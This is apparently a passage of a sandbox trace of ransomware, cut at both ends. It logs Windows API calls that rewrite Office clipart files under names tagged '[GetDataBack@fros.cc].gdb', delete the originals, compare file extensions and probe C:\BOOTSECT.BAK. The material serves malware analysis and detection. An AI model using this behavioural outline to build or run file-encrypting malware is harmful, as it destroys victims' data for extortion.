hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0133.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0133.208] GetLastError () returned 0x0 [0133.208] ReadFile (in: hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x296f, lpOverlapped=0x0) returned 1 [0134.429] WriteFile (in: hFile=0x204, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x2970, lpOverlapped=0x0) returned 1 [0135.120] ReadFile (in: hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0135.120] WriteFile (in: hFile=0x204, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0135.120] SetEndOfFile (hFile=0x204) returned 1 [0135.120] CloseHandle (hObject=0x204) returned 1 [0135.121] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.121] SetEndOfFile (hFile=0x21c) returned 1 [0135.121] CloseHandle (hObject=0x21c) returned 1 [0135.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0135.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0135.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0135.122] lstrlenW (lpString=".doc") returned 4 [0135.122] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.122] lstrlenW (lpString=".docx") returned 5 [0135.122] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.122] lstrlenW (lpString=".pdf") returned 4 [0135.122] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.122] lstrlenW (lpString=".xls") returned 4 [0135.122] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.122] lstrlenW (lpString=".xlsx") returned 5 [0135.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.122] lstrlenW (lpString=".ppt") returned 4 [0135.122] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0135.122] lstrlenW (lpString=".zip") returned 4 [0135.122] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.122] lstrlenW (lpString=".rar") returned 4 [0135.122] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.122] lstrlenW (lpString=".bz2") returned 4 [0135.122] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.123] lstrlenW (lpString=".7z") returned 3 [0135.123] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0135.123] lstrlenW (lpString=".dbf") returned 4 [0135.123] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0135.123] lstrlenW (lpString=".1cd") returned 4 [0135.123] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0135.123] lstrlenW (lpString=".jpg") returned 4 [0135.123] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.126] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.126] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0135.126] GetLastError () returned 0x0 [0135.126] ReadFile (in: hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x1b48, lpOverlapped=0x0) returned 1 [0135.236] WriteFile (in: hFile=0x204, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x1b50, lpOverlapped=0x0) returned 1 [0135.237] ReadFile (in: hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0135.237] WriteFile (in: hFile=0x204, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0135.237] SetEndOfFile (hFile=0x204) returned 1 [0135.262] CloseHandle (hObject=0x204) returned 1 [0135.263] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.263] SetEndOfFile (hFile=0x21c) returned 1 [0135.263] CloseHandle (hObject=0x21c) returned 1 [0135.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0135.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0135.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0135.264] lstrlenW (lpString=".doc") returned 4 [0135.265] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.265] lstrlenW (lpString=".docx") returned 5 [0135.265] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.265] lstrlenW (lpString=".pdf") returned 4 [0135.265] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.265] lstrlenW (lpString=".xls") returned 4 [0135.265] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.265] lstrlenW (lpString=".xlsx") returned 5 [0135.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.265] lstrlenW (lpString=".ppt") returned 4 [0135.265] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0135.265] lstrlenW (lpString=".zip") returned 4 [0135.265] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.265] lstrlenW (lpString=".rar") returned 4 [0135.265] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.265] lstrlenW (lpString=".bz2") returned 4 [0135.265] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.265] lstrlenW (lpString=".7z") returned 3 [0135.265] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0135.265] lstrlenW (lpString=".dbf") returned 4 [0135.265] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0135.265] lstrlenW (lpString=".1cd") returned 4 [0135.265] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0135.265] lstrlenW (lpString=".jpg") returned 4 [0135.265] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.266] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.266] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0135.266] GetLastError () returned 0x0 [0135.266] ReadFile (in: hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x14ff, lpOverlapped=0x0) returned 1 [0135.427] WriteFile (in: hFile=0x204, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x1500, lpOverlapped=0x0) returned 1 [0135.428] ReadFile (in: hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0135.428] WriteFile (in: hFile=0x204, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0135.428] SetEndOfFile (hFile=0x204) returned 1 [0135.462] CloseHandle (hObject=0x204) returned 1 [0135.462] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.462] SetEndOfFile (hFile=0x21c) returned 1 [0135.463] CloseHandle (hObject=0x21c) returned 1 [0135.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0135.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0135.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0135.464] lstrlenW (lpString=".doc") returned 4 [0135.464] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.464] lstrlenW (lpString=".docx") returned 5 [0135.464] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.464] lstrlenW (lpString=".pdf") returned 4 [0135.464] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.464] lstrlenW (lpString=".xls") returned 4 [0135.464] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.464] lstrlenW (lpString=".xlsx") returned 5 [0135.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.464] lstrlenW (lpString=".ppt") returned 4 [0135.464] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0135.464] lstrlenW (lpString=".zip") returned 4 [0135.464] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.465] lstrlenW (lpString=".rar") returned 4 [0135.465] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.465] lstrlenW (lpString=".bz2") returned 4 [0135.465] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.465] lstrlenW (lpString=".7z") returned 3 [0135.465] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0135.465] lstrlenW (lpString=".dbf") returned 4 [0135.465] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0135.465] lstrlenW (lpString=".1cd") returned 4 [0135.465] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0135.465] lstrlenW (lpString=".jpg") returned 4 [0135.465] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.465] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.465] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0135.467] GetLastError () returned 0x0 [0135.467] ReadFile (in: hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0xf7e, lpOverlapped=0x0) returned 1 [0135.499] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xf80, lpOverlapped=0x0) returned 1 [0135.500] ReadFile (in: hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0135.500] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0135.500] SetEndOfFile (hFile=0x1c0) returned 1 [0135.500] CloseHandle (hObject=0x1c0) returned 1 [0135.500] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.500] SetEndOfFile (hFile=0x21c) returned 1 [0135.501] CloseHandle (hObject=0x21c) returned 1 [0135.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0135.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0135.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0135.502] lstrlenW (lpString=".doc") returned 4 [0135.502] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.502] lstrlenW (lpString=".docx") returned 5 [0135.502] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.502] lstrlenW (lpString=".pdf") returned 4 [0135.503] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.503] lstrlenW (lpString=".xls") returned 4 [0135.503] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.503] lstrlenW (lpString=".xlsx") returned 5 [0135.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.503] lstrlenW (lpString=".ppt") returned 4 [0135.503] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0135.503] lstrlenW (lpString=".zip") returned 4 [0135.503] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.503] lstrlenW (lpString=".rar") returned 4 [0135.503] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.503] lstrlenW (lpString=".bz2") returned 4 [0135.503] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.503] lstrlenW (lpString=".7z") returned 3 [0135.503] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0135.503] lstrlenW (lpString=".dbf") returned 4 [0135.503] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0135.503] lstrlenW (lpString=".1cd") returned 4 [0135.503] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0135.503] lstrlenW (lpString=".jpg") returned 4 [0135.503] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.504] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.504] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0135.504] GetLastError () returned 0x0 [0135.504] ReadFile (in: hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x127e, lpOverlapped=0x0) returned 1 [0135.561] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x1280, lpOverlapped=0x0) returned 1 [0135.562] ReadFile (in: hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0135.562] WriteFile (in: hFile=0x1c0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0135.562] SetEndOfFile (hFile=0x1c0) returned 1 [0135.619] CloseHandle (hObject=0x1c0) returned 1 [0135.619] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0135.619] SetEndOfFile (hFile=0x21c) returned 1 [0135.620] CloseHandle (hObject=0x21c) returned 1 [0135.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0135.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0135.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0135.900] lstrlenW (lpString=".doc") returned 4 [0135.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.900] lstrlenW (lpString=".docx") returned 5 [0135.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.901] lstrlenW (lpString=".pdf") returned 4 [0135.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.901] lstrlenW (lpString=".xls") returned 4 [0135.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.901] lstrlenW (lpString=".xlsx") returned 5 [0135.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.901] lstrlenW (lpString=".ppt") returned 4 [0135.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0135.901] lstrlenW (lpString=".zip") returned 4 [0135.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.901] lstrlenW (lpString=".rar") returned 4 [0135.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.901] lstrlenW (lpString=".bz2") returned 4 [0135.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.901] lstrlenW (lpString=".7z") returned 3 [0135.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0135.901] lstrlenW (lpString=".dbf") returned 4 [0135.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0135.901] lstrlenW (lpString=".1cd") returned 4 [0135.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0135.901] lstrlenW (lpString=".jpg") returned 4 [0135.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.632] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0137.632] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0137.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0137.632] GetLastError () returned 0x0 [0137.632] ReadFile (hFile=0x21c, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0) Thread: id = 21 os_tid = 0xbb8 [0113.849] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0113.850] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0113.850] Wow64DisableWow64FsRedirection (in: OldValue=0x33f808 | out: OldValue=0x33f808*=0x0) returned 1 [0113.850] lstrlenW (lpString="kernel32.dll") returned 12 [0113.850] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0113.850] Sleep (dwMilliseconds=0x64) [0114.188] lstrcmpiW (lpString1=".BAK", lpString2=".gdb") returned -1 [0114.199] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0114.199] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0114.235] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=8192) returned 1 [0114.235] CloseHandle (hObject=0x15c) returned 1 [0114.235] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0114.235] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\bootsect.bak.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0114.236] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", 